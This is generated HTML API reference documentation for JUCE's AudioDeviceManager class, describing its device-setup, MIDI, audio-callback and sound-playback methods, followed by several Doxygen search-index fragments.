<p>Resets everything to a default device setup, clearing any stored settings. </p> </div> </div> <a class="anchor" id="abb846b502125744f4ea04f06cde5d92c"></a> <div class="memitem"> <div class="memproto"> <table class="memname"> <tr> <td class="memname"><a class="el" href="classXmlElement.html">XmlElement</a>* AudioDeviceManager::createStateXml </td> <td>(</td> <td class="paramname"></td><td>)</td> <td> const</td> </tr> </table> </div><div class="memdoc"> <p>Returns some XML representing the current state of the manager. </p> <p>This stores the current device, its samplerate, block size, etc, and can be restored later with <a class="el" href="classAudioDeviceManager.html#a4c6d8a76a270a6e4ca0537093f447b44" title="Opens a set of audio devices ready for use.">initialise()</a>.</p> <p>Note that this can return a null pointer if no settings have been explicitly changed (i.e. if the device manager has just been left in its default state). </p> <p>Referenced by <a class="el" href="classStandalonePluginHolder.html#a3591021b8495b1d2dddb6ff9a2405209">StandalonePluginHolder::saveAudioDeviceState()</a>.</p> </div> </div> <a class="anchor" id="a9363240e6dcfe1462c6b97366e03ae7d"></a> <div class="memitem"> <div class="memproto"> <table class="memname"> <tr> <td class="memname">void AudioDeviceManager::getAudioDeviceSetup </td> <td>(</td> <td class="paramtype"><a class="el" href="structAudioDeviceManager_1_1AudioDeviceSetup.html">AudioDeviceSetup</a> &amp;&#160;</td> <td class="paramname"><em>result</em></td><td>)</td> <td></td> </tr> </table> </div><div class="memdoc"> <p>Returns the current device properties that are in use. </p> <dl class="section see"><dt>See Also</dt><dd><a class="el" href="classAudioDeviceManager.html#aef0249d178aa5448ad2e949ae059c461" title="Changes the current device or its settings.">setAudioDeviceSetup</a> </dd></dl> </div> </div> <a class="anchor" id="aef0249d178aa5448ad2e949ae059c461"></a> <div class="memitem"> <div class="memproto"> <table class="memname"> <tr> <td class="memname"><a class="el" href="classString.html">String</a> AudioDeviceManager::setAudioDeviceSetup </td> <td>(</td> <td class="paramtype">const <a class="el" href="structAudioDeviceManager_1_1AudioDeviceSetup.html">AudioDeviceSetup</a> &amp;&#160;</td> <td class="paramname"><em>newSetup</em>, </td> </tr> <tr> <td class="paramkey"></td> <td></td> <td class="paramtype">bool&#160;</td> <td class="paramname"><em>treatAsChosenDevice</em>&#160;</td> </tr> <tr> <td></td> <td>)</td> <td></td><td></td> </tr> </table> </div><div class="memdoc"> <p>Changes the current device or its settings. </p> <p>If you want to change a device property, like the current sample rate or block size, you can call <a class="el" href="classAudioDeviceManager.html#a9363240e6dcfe1462c6b97366e03ae7d" title="Returns the current device properties that are in use.">getAudioDeviceSetup()</a> to retrieve the current settings, then tweak the appropriate fields in the <a class="el" href="structAudioDeviceManager_1_1AudioDeviceSetup.html" title="This structure holds a set of properties describing the current audio setup.">AudioDeviceSetup</a> structure, and pass it back into this method to apply the new settings.</p> <dl class="params"><dt>Parameters</dt><dd> <table class="params"> <tr><td class="paramname">newSetup</td><td>the settings that you'd like to use </td></tr> <tr><td class="paramname">treatAsChosenDevice</td><td>if this is true and if the device opens correctly, these new settings will be taken as having been explicitly chosen by the user, and the next time <a class="el" href="classAudioDeviceManager.html#abb846b502125744f4ea04f06cde5d92c" title="Returns some XML representing the current state of the manager.">createStateXml()</a> is called, these settings will be returned. If it's false, then the device is treated as a temporary or default device, and a call to <a class="el" href="classAudioDeviceManager.html#abb846b502125744f4ea04f06cde5d92c" title="Returns some XML representing the current state of the manager.">createStateXml()</a> will return either the last settings that were made with treatAsChosenDevice as true, or the last XML settings that were passed into <a class="el" href="classAudioDeviceManager.html#a4c6d8a76a270a6e4ca0537093f447b44" title="Opens a set of audio devices ready for use.">initialise()</a>. </td></tr> </table> </dd> </dl> <dl class="section return"><dt>Returns</dt><dd>an error message if anything went wrong, or an empty string if it worked ok.</dd></dl> <dl class="section see"><dt>See Also</dt><dd><a class="el" href="classAudioDeviceManager.html#a9363240e6dcfe1462c6b97366e03ae7d" title="Returns the current device properties that are in use.">getAudioDeviceSetup</a> </dd></dl> </div> </div> <a class="anchor" id="ad7ab4d5ba626a08098bb77a6164321a1"></a> <div class="memitem"> <div class="memproto"> <table class="mlabels"> <tr> <td class="mlabels-left"> <table class="memname"> <tr> <td class="memname"><a class="el" href="classAudioIODevice.html">AudioIODevice</a>* AudioDeviceManager::getCurrentAudioDevice </td> <td>(</td> <td class="paramname"></td><td>)</td> <td> const</td> </tr> </table> </td> <td class="mlabels-right"> <span class="mlabels"><span class="mlabel">noexcept</span></span> </td> </tr> </table> </div><div class="memdoc"> <p>Returns the currently-active audio device. </p> </div> </div> <a class="anchor" id="a2d89901b67119f512b036345bd3d092c"></a> <div class="memitem"> <div class="memproto"> <table class="memname"> <tr> <td class="memname"><a class="el" href="classString.html">String</a> AudioDeviceManager::getCurrentAudioDeviceType </td> <td>(</td> <td class="paramname"></td><td>)</td> <td> const</td> </tr> </table> </div><div class="memdoc"> <p>Returns the type of audio device currently in use. </p> <dl class="section see"><dt>See Also</dt><dd><a class="el" href="classAudioDeviceManager.html#a49e34c1ed60dafcebefc55d12f9175ad" title="Changes the class of audio device being used.">setCurrentAudioDeviceType</a> </dd></dl> </div> </div> <a class="anchor" id="a01438e7795abd52342d2cc845c1e74c4"></a> <div class="memitem"> <div class="memproto"> <table class="memname"> <tr> <td class="memname"><a class="el" href="classAudioIODeviceType.html">AudioIODeviceType</a>* AudioDeviceManager::getCurrentDeviceTypeObject </td> <td>(</td> <td class="paramname"></td><td>)</td> <td> const</td> </tr> </table> </div><div class="memdoc"> <p>Returns the currently active audio device type object. </p> <p>Don't keep a copy of this pointer - it's owned by the device manager and could change at any time. </p> </div> </div> <a class="anchor" id="a49e34c1ed60dafcebefc55d12f9175ad"></a> <div class="memitem"> <div class="memproto"> <table class="memname"> <tr> <td class="memname">void AudioDeviceManager::setCurrentAudioDeviceType </td> <td>(</td> <td class="paramtype">const <a class="el" href="classString.html">String</a> &amp;&#160;</td> <td class="paramname"><em>type</em>, </td> </tr> <tr> <td class="paramkey"></td> <td></td> <td class="paramtype">bool&#160;</td> <td class="paramname"><em>treatAsChosenDevice</em>&#160;</td> </tr> <tr> <td></td> <td>)</td> <td></td><td></td> </tr> </table> </div><div class="memdoc"> <p>Changes the class of audio device being used. </p> <p>This switches between, e.g. ASIO and DirectSound. On the Mac you probably won't ever call this because there's only one type: CoreAudio.</p> <p>For a list of types, see <a class="el" href="classAudioDeviceManager.html#a577475b3171c4d2cf8dbd7a6a48a02ca" title="Returns a list of the types of device supported.">getAvailableDeviceTypes()</a>. </p> </div> </div> <a class="anchor" id="af9829fcacafb4a395d084b34cdb8391c"></a> <div class="memitem"> <div class="memproto"> <table class="memname"> <tr> <td class="memname">void AudioDeviceManager::closeAudioDevice </td> <td>(</td> <td class="paramname"></td><td>)</td> <td></td> </tr> </table> </div><div class="memdoc"> <p>Closes the currently-open device. </p> <p>You can call <a class="el" href="classAudioDeviceManager.html#ac46693f5b78c06357b16bf5e95560605" title="Tries to reload the last audio device that was running.">restartLastAudioDevice()</a> later to reopen it in the same state that it was just in. </p> </div> </div> <a class="anchor" id="ac46693f5b78c06357b16bf5e95560605"></a> <div class="memitem"> <div class="memproto"> <table class="memname"> <tr> <td class="memname">void AudioDeviceManager::restartLastAudioDevice </td> <td>(</td> <td class="paramname"></td><td>)</td> <td></td> </tr> </table> </div><div class="memdoc"> <p>Tries to reload the last audio device that was running. </p> <p>Note that this only reloads the last device that was running before <a class="el" href="classAudioDeviceManager.html#af9829fcacafb4a395d084b34cdb8391c" title="Closes the currently-open device.">closeAudioDevice()</a> was called - it doesn't reload any kind of saved-state, and can only be called after a device has been opened with SetAudioDevice().</p> <p>If a device is already open, this call will do nothing. </p> </div> </div> <a class="anchor" id="acf3977dcc83f22b7f51091d7ff7b8aff"></a> <div class="memitem"> <div class="memproto"> <table class="memname"> <tr> <td class="memname">void AudioDeviceManager::addAudioCallback </td> <td>(</td> <td class="paramtype"><a class="el" href="classAudioIODeviceCallback.html">AudioIODeviceCallback</a> *&#160;</td> <td class="paramname"><em>newCallback</em></td><td>)</td> <td></td> </tr> </table> </div><div class="memdoc"> <p>Registers an audio callback to be used. </p> <p>The manager will redirect callbacks from whatever audio device is currently in use to all registered callback objects. If more than one callback is active, they will all be given the same input data, and their outputs will be summed.</p> <p>If necessary, this method will invoke audioDeviceAboutToStart() on the callback object before returning.</p> <p>To remove a callback, use <a class="el" href="classAudioDeviceManager.html#af6d672043bfc5ca423ea0ca41b5ad2d1" title="Deregisters a previously added callback.">removeAudioCallback()</a>. </p> </div> </div> <a class="anchor" id="af6d672043bfc5ca423ea0ca41b5ad2d1"></a> <div class="memitem"> <div class="memproto"> <table class="memname"> <tr> <td class="memname">void AudioDeviceManager::removeAudioCallback </td> <td>(</td> <td class="paramtype"><a class="el" href="classAudioIODeviceCallback.html">AudioIODeviceCallback</a> *&#160;</td> <td class="paramname"><em>callback</em></td><td>)</td> <td></td> </tr> </table> </div><div class="memdoc"> <p>Deregisters a previously added callback. </p> <p>If necessary, this method will invoke audioDeviceStopped() on the callback object before returning.</p> <dl class="section see"><dt>See Also</dt><dd><a class="el" href="classAudioDeviceManager.html#acf3977dcc83f22b7f51091d7ff7b8aff" title="Registers an audio callback to be used.">addAudioCallback</a> </dd></dl> </div> </div> <a class="anchor" id="ab7d067e2864f399a471b35cc83bf9a57"></a> <div class="memitem"> <div class="memproto"> <table class="memname"> <tr> <td class="memname">double AudioDeviceManager::getCpuUsage </td> <td>(</td> <td class="paramname"></td><td>)</td> <td> const</td> </tr> </table> </div><div class="memdoc"> <p>Returns the average proportion of available CPU being spent inside the audio callbacks. </p> <dl class="section return"><dt>Returns</dt><dd>A value between 0 and 1.0 to indicate the approximate proportion of CPU time spent in the callbacks. </dd></dl> </div> </div> <a class="anchor" id="a5c16cde5d7c4c49dd9b6d00cc17ba481"></a> <div class="memitem"> <div class="memproto"> <table class="memname"> <tr> <td class="memname">void AudioDeviceManager::setMidiInputEnabled </td> <td>(</td> <td class="paramtype">const <a class="el" href="classString.html">String</a> &amp;&#160;</td> <td class="paramname"><em>midiInputDeviceName</em>, </td> </tr> <tr> <td class="paramkey"></td> <td></td> <td class="paramtype">bool&#160;</td> <td class="paramname"><em>enabled</em>&#160;</td> </tr> <tr> <td></td> <td>)</td> <td></td><td></td> </tr> </table> </div><div class="memdoc"> <p>Enables or disables a midi input device. </p> <p>The list of devices can be obtained with the <a class="el" href="classMidiInput.html#ab2e0e7bb96700f9e2ecd77bc3b96d42f" title="Returns a list of the available midi input devices.">MidiInput::getDevices()</a> method.</p> <p>Any incoming messages from enabled input devices will be forwarded on to all the listeners that have been registered with the <a class="el" href="classAudioDeviceManager.html#a31e11b7a8596530a87cfcf8e48b978d2" title="Registers a listener for callbacks when midi events arrive from a midi input.">addMidiInputCallback()</a> method. They can either register for messages from a particular device, or from just the "default" midi input.</p> <p>Routing the midi input via an <a class="el" href="classAudioDeviceManager.html" title="Manages the state of some audio and midi i/o devices.">AudioDeviceManager</a> means that when a listener registers for the default midi input, this default device can be changed by the manager without the listeners having to know about it or re-register.</p> <p>It also means that a listener can stay registered for a midi input that is disabled or not present, so that when the input is re-enabled, the listener will start receiving messages again.</p> <dl class="section see"><dt>See Also</dt><dd><a class="el" href="classAudioDeviceManager.html#a31e11b7a8596530a87cfcf8e48b978d2" title="Registers a listener for callbacks when midi events arrive from a midi input.">addMidiInputCallback</a>, <a class="el" href="classAudioDeviceManager.html#a68824aadea468bbe6cd338c333fff715" title="Returns true if a given midi input device is being used.">isMidiInputEnabled</a> </dd></dl> </div> </div> <a class="anchor" id="a68824aadea468bbe6cd338c333fff715"></a> <div class="memitem"> <div class="memproto"> <table class="memname"> <tr> <td class="memname">bool AudioDeviceManager::isMidiInputEnabled </td> <td>(</td> <td class="paramtype">const <a class="el" href="classString.html">String</a> &amp;&#160;</td> <td class="paramname"><em>midiInputDeviceName</em></td><td>)</td> <td> const</td> </tr> </table> </div><div class="memdoc"> <p>Returns true if a given midi input device is being used. </p> <dl class="section see"><dt>See Also</dt><dd><a class="el" href="classAudioDeviceManager.html#a5c16cde5d7c4c49dd9b6d00cc17ba481" title="Enables or disables a midi input device.">setMidiInputEnabled</a> </dd></dl> </div> </div> <a class="anchor" id="a31e11b7a8596530a87cfcf8e48b978d2"></a> <div class="memitem"> <div class="memproto"> <table class="memname"> <tr> <td class="memname">void AudioDeviceManager::addMidiInputCallback </td> <td>(</td> <td class="paramtype">const <a class="el" href="classString.html">String</a> &amp;&#160;</td> <td class="paramname"><em>midiInputDeviceName</em>, </td> </tr> <tr> <td class="paramkey"></td> <td></td> <td class="paramtype"><a class="el" href="classMidiInputCallback.html">MidiInputCallback</a> *&#160;</td> <td class="paramname"><em>callback</em>&#160;</td> </tr> <tr> <td></td> <td>)</td> <td></td><td></td> </tr> </table> </div><div class="memdoc"> <p>Registers a listener for callbacks when midi events arrive from a midi input. </p> <p>The device name can be empty to indicate that it wants to receive all incoming events from all the enabled MIDI inputs. Or it can be the name of one of the MIDI input devices if it just wants the events from that device. (see <a class="el" href="classMidiInput.html#ab2e0e7bb96700f9e2ecd77bc3b96d42f" title="Returns a list of the available midi input devices.">MidiInput::getDevices()</a> for the list of device names).</p> <p>Only devices which are enabled (see the <a class="el" href="classAudioDeviceManager.html#a5c16cde5d7c4c49dd9b6d00cc17ba481" title="Enables or disables a midi input device.">setMidiInputEnabled()</a> method) will have their events forwarded on to listeners. </p> </div> </div> <a class="anchor" id="a1338a65adb3849560847f99252adcbd2"></a> <div class="memitem"> <div class="memproto"> <table class="memname"> <tr> <td class="memname">void AudioDeviceManager::removeMidiInputCallback </td> <td>(</td> <td class="paramtype">const <a class="el" href="classString.html">String</a> &amp;&#160;</td> <td class="paramname"><em>midiInputDeviceName</em>, </td> </tr> <tr> <td class="paramkey"></td> <td></td> <td class="paramtype"><a class="el" href="classMidiInputCallback.html">MidiInputCallback</a> *&#160;</td> <td class="paramname"><em>callback</em>&#160;</td> </tr> <tr> <td></td> <td>)</td> <td></td><td></td> </tr> </table> </div><div class="memdoc"> <p>Removes a listener that was previously registered with <a class="el" href="classAudioDeviceManager.html#a31e11b7a8596530a87cfcf8e48b978d2" title="Registers a listener for callbacks when midi events arrive from a midi input.">addMidiInputCallback()</a>. </p> </div> </div> <a class="anchor" id="a02d957a7dfc854c2de56278db62a171f"></a> <div class="memitem"> <div class="memproto"> <table class="memname"> <tr> <td class="memname">void AudioDeviceManager::setDefaultMidiOutput </td> <td>(</td> <td class="paramtype">const <a class="el" href="classString.html">String</a> &amp;&#160;</td> <td class="paramname"><em>deviceName</em></td><td>)</td> <td></td> </tr> </table> </div><div class="memdoc"> <p>Sets a midi output device to use as the default. </p> <p>The list of devices can be obtained with the <a class="el" href="classMidiOutput.html#a59a303f5b44aa772903984818b6b7275" title="Returns a list of the available midi output devices.">MidiOutput::getDevices()</a> method.</p> <p>The specified device will be opened automatically and can be retrieved with the <a class="el" href="classAudioDeviceManager.html#a4c3518c6e06fc752d065ff8dd4c9e4f1" title="Returns the current default midi output device.">getDefaultMidiOutput()</a> method.</p> <p>Pass in an empty string to deselect all devices. For the default device, you can use <a class="el" href="classMidiOutput.html#a59a303f5b44aa772903984818b6b7275" title="Returns a list of the available midi output devices.">MidiOutput::getDevices()</a> [<a class="el" href="classMidiOutput.html#a5459a18d9b1b9a5fe27e95e6e9e06a87" title="Returns the index of the default midi output device to use.">MidiOutput::getDefaultDeviceIndex()</a>].</p> <dl class="section see"><dt>See Also</dt><dd><a class="el" href="classAudioDeviceManager.html#a4c3518c6e06fc752d065ff8dd4c9e4f1" title="Returns the current default midi output device.">getDefaultMidiOutput</a>, <a class="el" href="classAudioDeviceManager.html#ad3796e84d5b112f78f8ffc02d7b9f8be" title="Returns the name of the default midi output.">getDefaultMidiOutputName</a> </dd></dl> </div> </div> <a class="anchor" id="ad3796e84d5b112f78f8ffc02d7b9f8be"></a> <div class="memitem"> <div class="memproto"> <table class="mlabels"> <tr> <td class="mlabels-left"> <table class="memname"> <tr> <td class="memname">const <a class="el" href="classString.html">String</a>&amp; AudioDeviceManager::getDefaultMidiOutputName </td> <td>(</td> <td class="paramname"></td><td>)</td> <td> const</td> </tr> </table> </td> <td class="mlabels-right"> <span class="mlabels"><span class="mlabel">noexcept</span></span> </td> </tr> </table> </div><div class="memdoc"> <p>Returns the name of the default midi output. </p> <dl class="section see"><dt>See Also</dt><dd><a class="el" href="classAudioDeviceManager.html#a02d957a7dfc854c2de56278db62a171f" title="Sets a midi output device to use as the default.">setDefaultMidiOutput</a>, <a class="el" href="classAudioDeviceManager.html#a4c3518c6e06fc752d065ff8dd4c9e4f1" title="Returns the current default midi output device.">getDefaultMidiOutput</a> </dd></dl> </div> </div> <a class="anchor" id="a4c3518c6e06fc752d065ff8dd4c9e4f1"></a> <div class="memitem"> <div class="memproto"> <table class="mlabels"> <tr> <td class="mlabels-left"> <table class="memname"> <tr> <td class="memname"><a class="el" href="classMidiOutput.html">MidiOutput</a>* AudioDeviceManager::getDefaultMidiOutput </td> <td>(</td> <td class="paramname"></td><td>)</td> <td> const</td> </tr> </table> </td> <td class="mlabels-right"> <span class="mlabels"><span class="mlabel">noexcept</span></span> </td> </tr> </table> </div><div class="memdoc"> <p>Returns the current default midi output device. </p> <p>If no device has been selected, or the device can't be opened, this will return nullptr. </p> <dl class="section see"><dt>See Also</dt><dd><a class="el" href="classAudioDeviceManager.html#ad3796e84d5b112f78f8ffc02d7b9f8be" title="Returns the name of the default midi output.">getDefaultMidiOutputName</a> </dd></dl> </div> </div> <a class="anchor" id="a577475b3171c4d2cf8dbd7a6a48a02ca"></a> <div class="memitem"> <div class="memproto"> <table class="memname"> <tr> <td class="memname">const <a class="el" href="classOwnedArray.html">OwnedArray</a>&lt;<a class="el" href="classAudioIODeviceType.html">AudioIODeviceType</a>&gt;&amp; AudioDeviceManager::getAvailableDeviceTypes </td> <td>(</td> <td class="paramname"></td><td>)</td> <td></td> </tr> </table> </div><div class="memdoc"> <p>Returns a list of the types of device supported. </p> </div> </div> <a class="anchor" id="ad7d7e0e64926665b12b62a53082caecc"></a> <div class="memitem"> <div class="memproto"> <table class="mlabels"> <tr> <td class="mlabels-left"> <table class="memname"> <tr> <td class="memname">virtual void AudioDeviceManager::createAudioDeviceTypes </td> <td>(</td> <td class="paramtype"><a class="el" href="classOwnedArray.html">OwnedArray</a>&lt; <a class="el" href="classAudioIODeviceType.html">AudioIODeviceType</a> &gt; &amp;&#160;</td> <td class="paramname"><em>types</em></td><td>)</td> <td></td> </tr> </table> </td> <td class="mlabels-right"> <span class="mlabels"><span class="mlabel">virtual</span></span> </td> </tr> </table> </div><div class="memdoc"> <p>Creates a list of available types. </p> <p>This will add a set of new <a class="el" href="classAudioIODeviceType.html" title="Represents a type of audio driver, such as DirectSound, ASIO, CoreAudio, etc.">AudioIODeviceType</a> objects to the specified list, to represent each available types of device.</p> <p>You can override this if your app needs to do something specific, like avoid using DirectSound devices, etc. </p> </div> </div> <a class="anchor" id="a9516ba945a2de06438cb3bd30210b94f"></a> <div class="memitem"> <div class="memproto"> <table class="memname"> <tr> <td class="memname">void AudioDeviceManager::addAudioDeviceType </td> <td>(</td> <td class="paramtype"><a class="el" href="classAudioIODeviceType.html">AudioIODeviceType</a> *&#160;</td> <td class="paramname"><em>newDeviceType</em></td><td>)</td> <td></td> </tr> </table> </div><div class="memdoc"> <p>Adds a new device type to the list of types. </p> <p>The manager will take ownership of the object that is passed-in. </p> </div> </div> <a class="anchor" id="ab32b74d9dda550d70d47c0cca76fdd25"></a> <div class="memitem"> <div class="memproto"> <table class="memname"> <tr> <td class="memname">void AudioDeviceManager::playTestSound </td> <td>(</td> <td class="paramname"></td><td>)</td> <td></td> </tr> </table> </div><div class="memdoc"> <p>Plays a beep through the current audio device. </p> <p>This is here to allow the audio setup UI panels to easily include a "test" button so that the user can check where the audio is coming from. </p> </div> </div> <a class="anchor" id="acf86b6b24e3322a62c86e8152ffe8525"></a> <div class="memitem"> <div class="memproto"> <table class="memname"> <tr> <td class="memname">void AudioDeviceManager::playSound </td> <td>(</td> <td class="paramtype">const <a class="el" href="classFile.html">File</a> &amp;&#160;</td> <td class="paramname"><em>file</em></td><td>)</td> <td></td> </tr> </table> </div><div class="memdoc"> <p>Plays a sound from a file. </p> </div> </div> <a class="anchor" id="a1e5c7d070824df5aedcd5d1d8d992d95"></a> <div class="memitem"> <div class="memproto"> <table class="memname"> <tr> <td class="memname">void AudioDeviceManager::playSound </td> <td>(</td> <td class="paramtype">const void *&#160;</td> <td class="paramname"><em>resourceData</em>, </td> </tr> <tr> <td class="paramkey"></td> <td></td> <td class="paramtype">size_t&#160;</td> <td class="paramname"><em>resourceSize</em>&#160;</td> </tr> <tr> <td></td> <td>)</td> <td></td><td></td> </tr> </table> </div><div class="memdoc"> <p>Convenient method to play sound from a JUCE resource. </p> </div> </div> <a class="anchor" id="ad37d9539ea2788103311cc82b98a55ab"></a> <div class="memitem"> <div class="memproto"> <table class="memname"> <tr> <td class="memname">void AudioDeviceManager::playSound </td> <td>(</td> <td class="paramtype"><a class="el" href="classAudioFormatReader.html">AudioFormatReader</a> *&#160;</td> <td class="paramname"><em>buffer</em>, </td> </tr> <tr> <td class="paramkey"></td> <td></td> <td class="paramtype">bool&#160;</td> <td class="paramname"><em>deleteWhenFinished</em> = <code>false</code>&#160;</td> </tr> <tr> <td></td> <td>)</td> <td></td><td></td> </tr> </table> </div><div class="memdoc"> <p>Plays the sound from an audio format reader. </p> <p>If deleteWhenFinished is true then the format reader will be automatically deleted once the sound has finished playing. </p> </div> </div> <a class="anchor" id="a95c538f3c4ea96a023a6dbf675f44bca"></a> <div class="memitem"> <div class="memproto"> <table class="memname"> <tr> <td class="memname">void AudioDeviceManager::playSound </td> <td>(</td> <td class="paramtype"><a class="el" href="classPositionableAudioSource.html">PositionableAudioSource</a> *&#160;</td> <td class="paramname"><em>audioSource</em>, </td> </tr> <tr> <td class="paramkey"></td> <td></td> <td class="paramtype">bool&#160;</td> <td class="paramname"><em>deleteWhenFinished</em> = <code>false</code>&#160;</td> </tr> <tr> <td></td> <td>)</td> <td></td><td></td> </tr> </table> </div><div class="memdoc"> <p>Plays the sound from a positionable audio source. </p> <p>This will output the sound coming from a positionable audio source. This gives you slightly more control over the sound playback compared to the other playSound methods. For example, if you would like to stop the sound prematurely you can call this method with a TransportAudioSource and then call audioSource-&gt;stop. Note that, you must call audioSource-&gt;start to start the playback, if your audioSource is a TransportAudioSource.</p> <p>The audio device manager will not hold any references to this audio source once the audio source has stopped playing for any reason, for example when the sound has finished playing or when you have called audioSource-&gt;stop. Therefore, calling audioSource-&gt;start() on a finished audioSource will not restart the sound again. If this is desired simply call playSound with the same audioSource again.</p> <dl class="params"><dt>Parameters</dt><dd> <table class="params"> <tr><td class="paramname">audioSource</td><td>the audio source to play </td></tr> <tr><td class="paramname">deleteWhenFinished</td><td>If this is true then the audio source will be deleted once the device manager has finished playing. </td></tr> </table> </dd> </dl> </div> </div> <a class="anchor" id="a194e9e962ca17fed3452d00b6f77504c"></a> <div class="memitem"> <div class="memproto"> <table class="memname"> <tr> <td class="memname">void AudioDeviceManager::playSound </td> <td>(</td> <td class="paramtype"><a class="el" href="juce__AudioSampleBuffer_8h.html#a97a2916214efbd76c6b870f9c48efba0">AudioSampleBuffer</a> *&#160;</td> <td class="paramname"><em>buffer</em>, </td> </tr> <tr> <td class="paramkey"></td> <td></td> <td class="paramtype">bool&#160;</td> <td class="paramname"><em>deleteWhenFinished</em> = <code>false</code>&#160;</td> </tr> <tr> <td></td> <td>)</td> <td></td><td></td> </tr> </table> </div><div class="memdoc"> <p>Plays the sound from an audio sample buffer. </p> <p>This will output the sound contained in an audio sample buffer. If deleteWhenFinished is true then the audio sample buffer will be automatically deleted once the sound has finished playing. </p> </div> </div> <a class="anchor" id="a6a351316f351119fc2a75b69913b4a69"></a> <div class="memitem"> <div class="memproto"> <table class="memname"> <tr> <td class="memname">void AudioDeviceManager::enableInputLevelMeasurement </td> <td>(</td> <td class="paramtype">bool&#160;</td> <td class="paramname"><em>enableMeasurement</em></td><td>)</td> <td></td> </tr> </table> </div><div class="memdoc"> <p>Turns on level-measuring. </p> <p>When enabled, the device manager will measure the peak input level across all channels, and you can get this level by calling <a class="el" href="classAudioDeviceManager.html#a350c5ba19ff07a66cc17caf01f191d89" title="Returns the current input level.">getCurrentInputLevel()</a>.</p> <p>This is mainly intended for audio setup UI panels to use to create a mic level display, so that the user can check that they've selected the right device.</p> <p>A simple filter is used to make the level decay smoothly, but this is only intended for giving rough feedback, and not for any kind of accurate measurement. </p> </div> </div> <a class="anchor" id="a350c5ba19ff07a66cc17caf01f191d89"></a> <div class="memitem"> <div class="memproto"> <table class="memname"> <tr> <td class="memname">double AudioDeviceManager::getCurrentInputLevel </td> <td>(</td> <td class="paramname"></td><td>)</td> <td> const</td> </tr> </table> </div><div class="memdoc"> <p>Returns the current input level. </p> <p>To use this, you must first enable it by calling <a class="el" href="classAudioDeviceManager.html#a6a351316f351119fc2a75b69913b4a69" title="Turns on level-measuring.">enableInputLevelMeasurement()</a>. See <a class="el" href="classAudioDeviceManager.html#a6a351316f351119fc2a75b69913b4a69" title="Turns on level-measuring.">enableInputLevelMeasurement()</a> for more info. </p> </div> </div> <a class="anchor" id="a1e92ccc57a94f20639bcdfa68b628dc5"></a> <div class="memitem"> <div class="memproto"> <table class="mlabels"> <tr> <td class="mlabels-left"> <table class="memname"> <tr> <td class="memname"><a class="el" href="classCriticalSection.html">CriticalSection</a>&amp; AudioDeviceManager::getAudioCallbackLock </td> <td>(</td> <td class="paramname"></td><td>)</td> <td></td> </tr> </table> </td> <td class="mlabels-right"> <span class="mlabels"><span class="mlabel">noexcept</span></span> </td> </tr> </table> </div><div class="memdoc"> <p>Returns the a lock that can be used to synchronise access to the audio callback. </p> <p>Obviously while this is locked, you're blocking the audio thread from running, so it must only be used for very brief periods when absolutely necessary. </p> </div> </div> <a class="anchor" id="a2bdc27c676c875645d4d77b1146dad24"></a> <div class="memitem"> <div class="memproto"> <table class="mlabels"> <tr> <td class="mlabels-left"> <table class="memname"> <tr> <td class="memname"><a class="el" href="classCriticalSection.html">CriticalSection</a>&amp; AudioDeviceManager::getMidiCallbackLock </td> <td>(</td> <td class="paramname"></td><td>)</td> <td></td> </tr> </table> </td> <td class="mlabels-right"> <span class="mlabels"><span class="mlabel">noexcept</span></span> </td> </tr> </table> </div><div class="memdoc"> <p>Returns the a lock that can be used to synchronise access to the midi callback. </p> <p>Obviously while this is locked, you're blocking the midi system from running, so it must only be used for very brief periods when absolutely necessary. </p> </div> </div> <hr/>The documentation for this class was generated from the following file:<ul> <li><a class="el" href="juce__AudioDeviceManager_8h.html">juce_AudioDeviceManager.h</a></li> </ul> </div><!-- contents --> <hr class="footer"/> <address class="footer"><small>All content &copy Raw Material Software Ltd.</small></address><br/> <script type="text/javascript"> var _gaq = _gaq || []; _gaq.push(['_setAccount', 'UA-19759318-1']); _gaq.push(['_trackPageview']); (function() { var ga = document.createElement('script'); ga.type = 'text/javascript'; ga.async = true; ga.src = ('https:' == document.location.protocol ? 'https://ssl' : 'http://www') + '.google-analytics.com/ga.js'; var s = document.getElementsByTagName('script')[0]; s.parentNode.insertBefore(ga, s); })(); </script> </body> </html> <file_sep>var searchData= [ ['dbg',['DBG',['../juce__PlatformDefs_8h.html#a5335262a7d74113caa4edd740bded17d',1,'juce_PlatformDefs.h']]] ]; <file_sep>var searchData= [ ['x',['x',['../structRelativeCoordinate_1_1StandardStrings.html#a996870bf66337348b8da0f06c647a65baa6aefb11eeb4d008103545f7a991f42a',1,'RelativeCoordinate::StandardStrings']]], ['xleft',['xLeft',['../classRectanglePlacement.html#afd5464553fd6bb41d697f3fc1d7427edae2539f35e48e3c7396cffeb8079e27dd',1,'RectanglePlacement']]], ['xmid',['xMid',['../classRectanglePlacement.html#afd5464553fd6bb41d697f3fc1d7427edad1348e06780084037a29fc0621d10392',1,'RectanglePlacement']]], ['xright',['xRight',['../classRectanglePlacement.html#afd5464553fd6bb41d697f3fc1d7427eda72a92773894d10ec3b4ff55b56d08915',1,'RectanglePlacement']]] ]; <file_sep>var searchData= [ ['readingdirection',['ReadingDirection',['../classAttributedString.html#a254fea6774b4e74f786cc5ad3abac400',1,'AttributedString']]], ['readwritemode',['ReadWriteMode',['../classImage_1_1BitmapData.html#aef68f9fb2440dd6a56a3c0b8c8b6fc13',1,'Image::BitmapData']]], ['resamplingquality',['ResamplingQuality',['../classGraphics.html#a5da218e649d1b5ac3d67443ae77caf87',1,'Graphics']]] ]; <file_sep>var searchData= [ ['tabbarbutton',['TabBarButton',['../classTabBarButton.html',1,'']]], ['tabbedbuttonbar',['TabbedButtonBar',['../classTabbedButtonBar.html',1,'']]], ['tabbedcomponent',['TabbedComponent',['../classTabbedComponent.html',1,'']]], ['tableheadercomponent',['TableHeaderComponent',['../classTableHeaderComponent.html',1,'']]], ['tablelistbox',['TableListBox',['../classTableListBox.html',1,'']]], ['tablelistboxmodel',['TableListBoxModel',['../classTableListBoxModel.html',1,'']]], ['temporaryfile',['TemporaryFile',['../classTemporaryFile.html',1,'']]], ['testresult',['TestResult',['../structUnitTestRunner_1_1TestResult.html',1,'UnitTestRunner']]], ['textbutton',['TextButton',['../classTextButton.html',1,'']]], ['textdiff',['TextDiff',['../classTextDiff.html',1,'']]], ['textdraganddroptarget',['TextDragAndDropTarget',['../classTextDragAndDropTarget.html',1,'']]], ['texteditor',['TextEditor',['../classTextEditor.html',1,'']]], ['texteditorkeymapper',['TextEditorKeyMapper',['../structTextEditorKeyMapper.html',1,'']]], ['textinputtarget',['TextInputTarget',['../classTextInputTarget.html',1,'']]], ['textlayout',['TextLayout',['../classTextLayout.html',1,'']]], ['textpropertycomponent',['TextPropertyComponent',['../classTextPropertyComponent.html',1,'']]], 